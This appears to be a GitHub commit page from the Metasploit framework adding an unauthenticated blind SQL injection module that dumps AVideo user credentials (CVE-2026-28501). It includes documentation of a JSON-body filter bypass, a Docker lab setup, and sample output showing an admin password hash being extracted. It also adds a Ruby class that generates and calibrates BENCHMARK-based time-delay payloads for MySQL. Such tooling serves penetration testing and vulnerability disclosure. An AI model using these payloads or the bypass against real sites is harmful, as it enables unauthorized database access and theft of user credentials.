Skip to content

Commit a90ec10

Browse files
authored
Merge pull request rapid7#21075 from Chocapikk/avideo-catname-sqli
Add AVideo catName blind SQLi credential dump (CVE-2026-28501)
2 parents e310740 + 222e1a2 commit a90ec10

10 files changed

Lines changed: 764 additions & 78 deletions

File tree

Lines changed: 148 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,148 @@
1+
## Vulnerable Application
2+
3+
This module exploits an unauthenticated SQL injection vulnerability in AVideo's
4+
`videos.json.php` endpoint to extract user credentials (usernames and password hashes).
5+
6+
**CVE ID:** CVE-2026-28501
7+
8+
**Affected Versions:** AVideo <= 22.0. Fixed in 24.0.
9+
10+
### Vulnerability Overview
11+
12+
The `catName` parameter is injected unsanitized into SQL queries via the `getCatSQL()` function.
13+
A global security filter in `security.php` strips quotes from GET/POST parameters, but sending
14+
`catName` via a JSON request body bypasses this filter because the JSON input is parsed and
15+
merged into `$_REQUEST` after the security checks have already executed.
16+
17+
The module uses time-based blind SQL injection with `BENCHMARK()` to extract data.
18+
`SLEEP()` cannot be used because the application's `sqlDAL` layer uses prepared statements
19+
that prevent it, but `BENCHMARK()` works via a multiplication pattern that embeds the boolean
20+
condition as a multiplier on the iteration count.
21+
22+
### Setup
23+
24+
This lab reuses the same AVideo Docker environment as the `avideo_encoder_getimage_cmd_injection`
25+
module.
26+
27+
1. Clone the AVideo repository and checkout the vulnerable commit:
28+
29+
```bash
30+
cd /tmp
31+
git clone https://github.com/WWBN/AVideo.git
32+
cd AVideo
33+
git checkout 596df4e5b0597c9806da76ebec5bbe3b305953e4
34+
```
35+
36+
2. Create a `.env` file with the following configuration:
37+
38+
```bash
39+
cat > .env << EOF
40+
SERVER_NAME=localhost
41+
CREATE_TLS_CERTIFICATE=yes
42+
DB_MYSQL_HOST=database
43+
DB_MYSQL_PORT=3306
44+
DB_MYSQL_NAME=avideo
45+
DB_MYSQL_USER=avideo
46+
DB_MYSQL_PASSWORD=avideo
47+
HTTP_PORT=80
48+
HTTPS_PORT=9443
49+
NETWORK_SUBNET=172.99.0.0/16
50+
EOF
51+
```
52+
53+
3. Fix MariaDB corrupted tc.log issue (required for first-time setup):
54+
55+
```bash
56+
cat > deploy/docker-entrypoint-mariadb << 'SCRIPTEOF'
57+
#!/bin/bash
58+
set -e
59+
60+
if [ -f /var/lib/mysql/tc.log ]; then
61+
MAGIC_HEADER=$(head -c 4 /var/lib/mysql/tc.log | od -An -tx1 | tr -d ' \n' 2>/dev/null || echo "")
62+
if [ "$MAGIC_HEADER" != "01000000" ] && [ -n "$MAGIC_HEADER" ]; then
63+
echo "[Entrypoint]: Removing corrupted tc.log file (bad magic header: $MAGIC_HEADER)"
64+
rm -f /var/lib/mysql/tc.log
65+
fi
66+
fi
67+
SCRIPTEOF
68+
chmod +x deploy/docker-entrypoint-mariadb
69+
70+
cat >> Dockerfile.mariadb << 'DOCKERFILEEOF'
71+
72+
COPY deploy/docker-entrypoint-mariadb /usr/local/bin/docker-entrypoint-mariadb
73+
RUN chmod +x /usr/local/bin/docker-entrypoint-mariadb
74+
RUN sed -i '2i /usr/local/bin/docker-entrypoint-mariadb' /usr/local/bin/docker-entrypoint.sh
75+
DOCKERFILEEOF
76+
77+
docker compose build database database_encoder
78+
```
79+
80+
4. Start the Docker Compose environment:
81+
82+
```bash
83+
docker compose up -d
84+
```
85+
86+
5. Wait for the services to be ready and access the application at `http://localhost`.
87+
Complete the installation wizard if this is a first-time setup.
88+
89+
## Verification Steps
90+
91+
1. Start `msfconsole`
92+
2. `use auxiliary/gather/avideo_catname_sqli`
93+
3. `set RHOSTS <target_ip>`
94+
4. `set RPORT <target_port>` (default: 80)
95+
5. `run`
96+
6. **Verify** that user credentials are extracted and displayed
97+
98+
## Options
99+
100+
### COUNT
101+
102+
Number of users to dump. Default: 0 (all users).
103+
104+
### SqliDelay
105+
106+
Time delay threshold for blind injection (default: 1.0 second). Lower values are faster
107+
but may produce false positives on slow networks.
108+
109+
## Scenarios
110+
111+
### Credential dump against AVideo <= 22.0
112+
113+
```
114+
msf > use auxiliary/gather/avideo_catname_sqli
115+
msf auxiliary(gather/avideo_catname_sqli) > set RHOSTS localhost
116+
RHOSTS => localhost
117+
msf auxiliary(gather/avideo_catname_sqli) > set RPORT 80
118+
RPORT => 80
119+
msf auxiliary(gather/avideo_catname_sqli) > set COUNT 1
120+
COUNT => 1
121+
msf auxiliary(gather/avideo_catname_sqli) > run
122+
[*] Running module against 127.0.0.1
123+
[*] Running automatic check ("set AutoCheck false" to disable)
124+
[*] {SQLi} Calibrating BENCHMARK iterations for 1.0s delay...
125+
[*] {SQLi} Probe: 1000000 iterations took 0.127s
126+
[*] {SQLi} Calibrated: 23622047 iterations for ~1.0s delay
127+
[+] The target is vulnerable. Time-based blind SQLi confirmed via BENCHMARK()
128+
[*] Dumping user credentials from the users table...
129+
[!] Time-based blind extraction is slow (~4s per character). Be patient.
130+
[*] {SQLi} [char 1/38] = "a"
131+
[*] {SQLi} [char 2/38] = "d"
132+
[*] {SQLi} [char 3/38] = "m"
133+
[*] {SQLi} [char 4/38] = "i"
134+
[*] {SQLi} [char 5/38] = "n"
135+
[*] {SQLi} [char 6/38] = ";"
136+
[*] {SQLi} [char 7/38] = "5"
137+
...
138+
[*] {SQLi} [char 38/38] = "9"
139+
AVideo Users
140+
============
141+
142+
user password
143+
---- --------
144+
admin 5f4dcc3b5aa765d61d8327deb882cf99
145+
146+
[+] Loot saved to: /home/user/.msf4/loot/20260306_default_127.0.0.1_avideo.users_123456.txt
147+
[*] Auxiliary module execution completed
148+
```

lib/msf/core/exploit/sqli/common.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
1-
21
module Msf::Exploit::SQLi
2+
# Base class for SQL injection objects across all DBMS types.
33
class Common
44
include Msf::Module::UI
55

@@ -8,7 +8,7 @@ class Common
88
#
99
# @param datastore [DataStore]
1010
# @param framework [Framework]
11-
# @param user_output [Rex::Ui::Text::Output::Stdio]
11+
# @param user_output [Rex::Ui::Text::Output::Stdio]
1212
# @param opts [Hash] a dictionary containing the parameters needed
1313
# @option opts [Integer] truncation_length : [Optional] The number of characters returned, if the query result is truncated
1414
# @option opts [String] concat_separator : [Optional] The separator to use when concatenating rows (default ',')
@@ -60,7 +60,7 @@ def raw_run_sql(query)
6060

6161
#
6262
# Queries the block with the given SQL query, and returns the result, this method is overridden in
63-
# blind SQL injection classes, implementing the logic of leaking one bit at a time, and working
63+
# blind SQL injection classes, implementing the logic of leaking one bit at a time, and working
6464
# exactly the same as this method.
6565
# @param query [String] The SQL query to execute
6666
# @return [String] The query results
Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
#
2+
# Time-Based Blind SQL injection support for MySQL/MariaDB using BENCHMARK()
3+
# instead of SLEEP(). This is useful when the target application's database
4+
# abstraction layer uses prepared statements that prevent SLEEP() and also
5+
# reject subqueries inside IF(condition, BENCHMARK(...), 0).
6+
#
7+
# Uses BENCHMARK(N * (condition), SHA1(rand)) instead of IF(), which embeds
8+
# the boolean condition as a multiplier on the iteration count. When condition
9+
# evaluates to 1 (true), BENCHMARK runs N iterations causing a delay; when 0
10+
# (false), it runs 0 iterations and returns instantly.
11+
#
12+
# The iteration count is calibrated at runtime using a probe with the same
13+
# multiplication structure to account for any overhead from prepared statements.
14+
#
15+
class Msf::Exploit::SQLi::MySQLi::BenchmarkBasedBlind < Msf::Exploit::SQLi::MySQLi::Common
16+
include ::Msf::Exploit::SQLi::TimeBasedBlindMixin
17+
18+
#
19+
# Wraps a boolean condition into a BENCHMARK multiplication payload.
20+
# BENCHMARK(N * (condition), SHA1(rand)) - delays when condition is true (1),
21+
# instant when false (0). This bypasses prepare() limitations that reject
22+
# subqueries inside IF(condition, BENCHMARK(...), 0).
23+
# @param condition [String] A SQL boolean expression
24+
# @return [String] The BENCHMARK multiplication payload
25+
#
26+
def time_blind_payload(condition)
27+
calibrate unless @benchmark_iterations
28+
"BENCHMARK(#{@benchmark_iterations}*(#{condition}),SHA1(0x#{Rex::Text.rand_text_hex(8)}))"
29+
end
30+
31+
#
32+
# Override test_vulnerable to use table subquery conditions that match the cost
33+
# profile of real extraction payloads. Simple conditions like (SELECT 1)=1 cost
34+
# ~10x more per iteration than table subqueries due to MySQL's prepare() handling,
35+
# causing massive delay overshoot with the calibrated iteration count.
36+
#
37+
def test_vulnerable
38+
out_true = blind_request(time_blind_payload('(SELECT count(1) from information_schema.schemata)>0'))
39+
out_false = blind_request(time_blind_payload('(SELECT count(1) from information_schema.schemata)<0'))
40+
out_true && !out_false
41+
end
42+
43+
private
44+
45+
#
46+
# Calibrates the number of BENCHMARK iterations to match SqliDelay.
47+
# Uses the same multiplication structure as extraction payloads to account
48+
# for any overhead from prepared statement evaluation of the expression.
49+
#
50+
def calibrate
51+
target_delay = datastore['SqliDelay'].to_f
52+
probe_iterations = 1_000_000
53+
vprint_status "{SQLi} Calibrating BENCHMARK iterations for #{target_delay}s delay..."
54+
55+
# Probe with a real subquery to match the actual extraction workload.
56+
# Simple expressions like *(SELECT 1) or *(1=1) overestimate cost per iteration
57+
# because MySQL's prepare() optimizes them differently than real table subqueries,
58+
# leading to calibrated iterations that are ~8x too low.
59+
start = Time.now
60+
@query_proc.call("BENCHMARK(#{probe_iterations}*(ord(mid(cast((select schema_name from information_schema.schemata limit 0,1) as binary),1,1))>0),SHA1(0x#{Rex::Text.rand_text_hex(8)}))")
61+
elapsed = Time.now - start
62+
63+
if elapsed <= 0
64+
vprint_warning '{SQLi} Calibration probe returned in zero time, using safe default iterations'
65+
@benchmark_iterations = probe_iterations
66+
return
67+
end
68+
69+
# Scale to 3x the target delay so that actual execution reliably exceeds SqliDelay.
70+
# The 3x margin accounts for CPU variance, network jitter, and the fact that
71+
# information_schema probes are slightly heavier than typical user-table queries.
72+
raw = ((target_delay * 3.0 / elapsed) * probe_iterations).to_i
73+
@benchmark_iterations = raw.clamp(100_000, 500_000_000)
74+
75+
vprint_status "{SQLi} Probe: #{probe_iterations} iterations took #{elapsed.round(3)}s"
76+
vprint_status "{SQLi} Calibrated: #{@benchmark_iterations} iterations for ~#{target_delay}s delay"
77+
end
78+
end

0 commit comments

Comments
 (0)